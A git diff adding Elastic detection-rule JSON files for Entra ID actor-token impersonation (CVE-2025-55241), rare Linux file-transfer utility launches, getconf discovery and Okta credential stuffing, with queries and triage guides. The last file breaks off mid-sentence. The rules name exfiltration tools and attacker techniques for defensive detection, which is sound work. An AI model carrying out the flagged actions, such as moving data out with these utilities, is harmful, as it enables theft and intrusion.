a/packages/security_detection_engine/kibana/security_rule/8e7a4f2c-9b3d-4e5a-a1b6-c2d8f7e9b3a5_2.json b/packages/security_detection_engine/kibana/security_rule/8e7a4f2c-9b3d-4e5a-a1b6-c2d8f7e9b3a5_2.json new file mode 100644 index 00000000000..4301fd8d5c2 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/8e7a4f2c-9b3d-4e5a-a1b6-c2d8f7e9b3a5_2.json @@ -0,0 +1,844 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft.", + "false_positives": [ + "Creating specific groups via the Exchange Online PowerShell module will make Exchange use an Actor token on your behalf. The rule excludes group operations and directory feature operations to reduce false positives from these legitimate administrative activities." + ], + "from": "now-9m", + "interval": "8m", + "language": "esql", + "license": "Elastic License v2", + "name": "Entra ID Actor Token User Impersonation Abuse", + "note": "## Triage and analysis\n\n### Investigating Entra ID Actor Token User Impersonation Abuse\n\nThis rule detects when Microsoft services use actor tokens to perform operations in audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) communication. They appear with a mismatch: the service's display name but the impersonated user's UPN. While some operations legitimately use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed attackers to obtain Global Admin privileges across any Entra ID tenant. Note that this vulnerability has been patched by Microsoft as of September 2025.\n\n### Possible investigation steps\n\n- Review the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` field to identify which service principals are exhibiting this behavior.\n- Check the `azure.auditlogs.properties.initiated_by.user.displayName` to confirm these are legitimate Microsoft services.\n- Analyze the actions performed by these service principals - look for privilege escalations, permission grants, or unusual administrative operations.\n- Review the timing and frequency of these events to identify potential attack patterns or automated exploitation.\n- Cross-reference with recent administrative changes or service configurations that might explain legitimate use cases.\n- Check if any new applications or service principals were registered recently that could be related to this activity.\n- Investigate any correlation with other suspicious authentication events or privilege escalation attempts in your tenant.\n\n### False positive analysis\n\n- Legitimate Microsoft service migrations or updates may temporarily exhibit this behavior.\n- Third-party integrations using Microsoft Graph or other APIs might trigger this pattern during normal operations.\n- Automated administrative tools or scripts using service principal authentication could be misconfigured.\n\n### Response and remediation\n\n- Immediately review and audit all service principal permissions and recent consent grants in your Entra ID tenant.\n- Disable or restrict any suspicious service principals exhibiting this behavior until verified.\n- Review and revoke any unnecessary application permissions, especially those with high privileges.\n- Enable and review Entra ID audit logs for any permission grants or role assignments made by these service principals.\n- Implement Conditional Access policies to restrict service principal authentication from unexpected locations or conditions.\n- Enable Entra ID Identity Protection to detect and respond to risky service principal behaviors.\n- Review and harden application consent policies to prevent unauthorized service principal registrations.\n- Consider implementing privileged identity management (PIM) for service principal role assignments.\n", + "query": "from logs-azure.auditlogs-* metadata _id, _version, _index\n| where azure.auditlogs.properties.initiated_by.user.displayName in (\n \"Office 365 Exchange Online\",\n \"Skype for Business Online\",\n \"Dataverse\",\n \"Office 365 SharePoint Online\",\n \"Microsoft Dynamics ERP\"\n ) and\n not azure.auditlogs.operation_name like \"*group*\" and\n azure.auditlogs.operation_name != \"Set directory feature on tenant\"\n and azure.auditlogs.properties.initiated_by.user.userPrincipalName rlike \".+@[A-Za-z0-9.]+\\\\.[A-Za-z]{2,}\"\n| keep\n _id,\n @timestamp,\n azure.*,\n client.*,\n event.*,\n source.*\n", + "references": [ + "https://dirkjanm.io/obtaining-global-admin-in-every-entra-id-tenant-with-actor-tokens/", + "https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-55241" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "@timestamp", + "type": "date" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.category", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.identity", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.level", + "type": "double" + }, + { + "ecs": false, + "name": "azure.auditlogs.operation_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.operation_version", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.activity_datetime", + "type": "date" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.activity_display_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.additional_details.key", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.additional_details.user_agent", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.additional_details.value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.authentication_protocol", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.category", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.correlation_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.app.appId", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.app.displayName", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.app.servicePrincipalId", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.app.servicePrincipalName", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.displayName", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.ipAddress", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.roles", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.initiated_by.user.userPrincipalName", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.logged_by_service", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.operation_type", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.result", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.result_reason", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.display_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.ip_address", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.modified_properties.*.display_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.modified_properties.*.new_value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.modified_properties.*.old_value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.*.user_principal_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.0.modified_properties.0.old_value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.0.modified_properties.1.display_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.result_description", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.result_signature", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.auditlogs.tenant_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.correlation_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.resource.authorization_rule", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.resource.group", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.resource.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.resource.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.resource.namespace", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.resource.provider", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.subscription_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.tenant_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.address", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.as.number", + "type": "long" + }, + { + "ecs": true, + "name": "client.as.organization.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.bytes", + "type": "long" + }, + { + "ecs": true, + "name": "client.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.city_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.continent_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.continent_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.country_iso_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.country_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.location", + "type": "geo_point" + }, + { + "ecs": true, + "name": "client.geo.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.postal_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.region_iso_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.region_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.geo.timezone", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "client.mac", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.nat.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "client.nat.port", + "type": "long" + }, + { + "ecs": true, + "name": "client.packets", + "type": "long" + }, + { + "ecs": true, + "name": "client.port", + "type": "long" + }, + { + "ecs": true, + "name": "client.registered_domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.subdomain", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.top_level_domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.email", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.full_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.group.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.group.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.group.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.hash", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "client.user.roles", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.agent_id_status", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.created", + "type": "date" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.duration", + "type": "long" + }, + { + "ecs": true, + "name": "event.end", + "type": "date" + }, + { + "ecs": true, + "name": "event.hash", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.ingested", + "type": "date" + }, + { + "ecs": true, + "name": "event.kind", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.module", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.original", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.reason", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.reference", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.risk_score", + "type": "float" + }, + { + "ecs": true, + "name": "event.risk_score_norm", + "type": "float" + }, + { + "ecs": true, + "name": "event.sequence", + "type": "long" + }, + { + "ecs": true, + "name": "event.severity", + "type": "long" + }, + { + "ecs": true, + "name": "event.start", + "type": "date" + }, + { + "ecs": true, + "name": "event.timezone", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.url", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.address", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.as.number", + "type": "long" + }, + { + "ecs": true, + "name": "source.as.organization.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.bytes", + "type": "long" + }, + { + "ecs": true, + "name": "source.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.city_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.continent_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.continent_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.country_iso_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.country_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.location", + "type": "geo_point" + }, + { + "ecs": true, + "name": "source.geo.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.postal_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.region_iso_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.region_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.timezone", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "source.mac", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.nat.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "source.nat.port", + "type": "long" + }, + { + "ecs": true, + "name": "source.packets", + "type": "long" + }, + { + "ecs": true, + "name": "source.port", + "type": "long" + }, + { + "ecs": true, + "name": "source.registered_domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.subdomain", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.top_level_domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.email", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.full_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.group.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.group.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.group.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.hash", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.user.roles", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "8e7a4f2c-9b3d-4e5a-a1b6-c2d8f7e9b3a5", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra Audit Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Initial Access", + "Tactic: Privilege Escalation", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1548", + "name": "Abuse Elevation Control Mechanism", + "reference": "https://attack.mitre.org/techniques/T1548/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 2 + }, + "id": "8e7a4f2c-9b3d-4e5a-a1b6-c2d8f7e9b3a5_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/8eeeda11-dca6-4c3e-910f-7089db412d1c_7.json b/packages/security_detection_engine/kibana/security_rule/8eeeda11-dca6-4c3e-910f-7089db412d1c_7.json new file mode 100644 index 00000000000..e1702579420 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/8eeeda11-dca6-4c3e-910f-7089db412d1c_7.json @@ -0,0 +1,91 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual File Transfer Utility Launched", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual File Transfer Utility Launched\n\nFile transfer utilities like scp, ftp, and rsync are essential for data movement in Linux environments. However, adversaries can exploit these tools to exfiltrate sensitive data. The detection rule identifies suspicious executions of these utilities by monitoring process activities, focusing on rare occurrences and unique agent IDs, which may indicate unauthorized data transfers. This helps in early detection of potential data breaches.\n\n### Possible investigation steps\n\n- Review the process.command_line field to understand the exact command executed and assess if it aligns with typical usage patterns or if it appears suspicious.\n- Examine the process.parent.executable field to determine the parent process that initiated the file transfer utility, which may provide insights into whether the execution was part of a legitimate workflow or potentially malicious activity.\n- Check the agent.id field to identify the specific host involved in the alert and correlate it with other security events or logs from the same host to gather additional context.\n- Investigate the @timestamp field to verify the timing of the event and cross-reference with any known scheduled tasks or user activities that could explain the execution.\n- Analyze the host.os.type field to confirm the operating system and ensure that the alert pertains to a Linux environment, as expected by the rule.\n\n### False positive analysis\n\n- Routine administrative tasks using file transfer utilities may trigger alerts. Regularly scheduled backups or updates using scp, rsync, or ftp should be documented and excluded from alerts by creating exceptions for known scripts or cron jobs.\n- Automated system updates or patches that utilize these utilities can be mistaken for suspicious activity. Identify and whitelist the processes and command lines associated with these updates to prevent false positives.\n- Internal data transfers between trusted servers for legitimate business purposes might be flagged. Establish a list of trusted agent IDs and exclude them from the rule to avoid unnecessary alerts.\n- Development and testing environments often use these utilities for transferring test data. Ensure that these environments are recognized and excluded by specifying their hostnames or IP addresses in the rule configuration.\n- User-initiated file transfers for legitimate reasons, such as data analysis or reporting, can be misinterpreted. Educate users to notify the security team of such activities in advance, allowing for temporary exceptions to be made.\n\n### Response and remediation\n\n- Immediately isolate the affected Linux system from the network to prevent further data exfiltration and unauthorized access.\n- Terminate any suspicious file transfer processes identified by the alert, such as scp, ftp, or rsync, to halt ongoing data transfers.\n- Conduct a thorough review of the process command lines and parent executables to identify any malicious scripts or unauthorized software that initiated the file transfer.\n- Change credentials and access keys associated with the compromised system to prevent further unauthorized access.\n- Escalate the incident to the security operations team for a deeper forensic analysis to determine the extent of the breach and identify any additional compromised systems.\n- Implement network monitoring to detect any further attempts of unauthorized file transfers or suspicious activities from the affected system.\n- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats in the future.\n", + "query": "from logs-endpoint.events.process-*\n| keep @timestamp, host.os.type, event.type, event.action, process.name, process.executable, process.parent.executable, agent.id, host.name\n| where\n @timestamp > now() - 1 hours and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"exec\" and\n process.name in (\"scp\", \"ftp\", \"sftp\", \"vsftpd\", \"sftp-server\", \"rsync\")\n| stats\n Esql.event_count = count(),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.executable, process.parent.executable\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.event_count < 5\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "8eeeda11-dca6-4c3e-910f-7089db412d1c", + "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Exfiltration", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "8eeeda11-dca6-4c3e-910f-7089db412d1c_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/90e5976d-ed8c-489a-a293-bfc57ff8ba89_4.json b/packages/security_detection_engine/kibana/security_rule/90e5976d-ed8c-489a-a293-bfc57ff8ba89_4.json new file mode 100644 index 00000000000..a5f9970b935 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/90e5976d-ed8c-489a-a293-bfc57ff8ba89_4.json @@ -0,0 +1,97 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "This rule identifies Linux system information discovery via the `getconf` command. The `getconf` command is used to query system configuration variables and system limits. Adversaries may use this command to gather information about the system, such as the page size, maximum number of open files, and other system limits, to aid in further exploration and exploitation of the system.", + "from": "now-119m", + "index": [ + "logs-endpoint.events.process*", + "endgame-*", + "auditbeat-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*" + ], + "interval": "60m", + "language": "eql", + "license": "Elastic License v2", + "name": "Linux System Information Discovery via Getconf", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\", \"ProcessRollup2\") and\nprocess.name == \"getconf\"\n", + "references": [ + "https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "90e5976d-ed8c-489a-a293-bfc57ff8ba89", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Rule Type: BBR", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1082", + "name": "System Information Discovery", + "reference": "https://attack.mitre.org/techniques/T1082/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 4 + }, + "id": "90e5976d-ed8c-489a-a293-bfc57ff8ba89_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/94e734c0-2cda-11ef-84e1-f661ea17fbce_208.json b/packages/security_detection_engine/kibana/security_rule/94e734c0-2cda-11ef-84e1-f661ea17fbce_208.json new file mode 100644 index 00000000000..ee50cb48d2e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/94e734c0-2cda-11ef-84e1-f661ea17fbce_208.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts.", + "false_positives": [ + "Users may share an endpoint related to work or personal use in which separate Okta accounts are used.", + "Shared systems such as Kiosks and conference room computers may be used by multiple users." + ], + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Multiple Okta User Authentication Events with Client Address", + "note": "## Triage and analysis\n\n### Investigating Multiple Okta User Authentication Events with Client Address\n\nThis rule detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack.\n\n#### Possible investigation steps:\nSince this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.ip` values can be used to pivot into the raw authentication events related to this activity.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy.\n - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying.\n- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful.\n - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API.\n- Examine the `okta.outcome.result` field to determine if the authentication was successful.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- A user may have legitimately started a session via a proxy for security or privacy reasons.\n- Users may share an endpoint related to work or personal use in which separate Okta accounts are used.\n - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons.\n - Shared systems such as Kiosks and conference room computers may be used by multiple users.\n - Shared working spaces may have a single endpoint that is used by multiple users.\n\n### Response and remediation:\n- Review the profile of the users involved in this action to determine if proxy usage may be expected.\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account 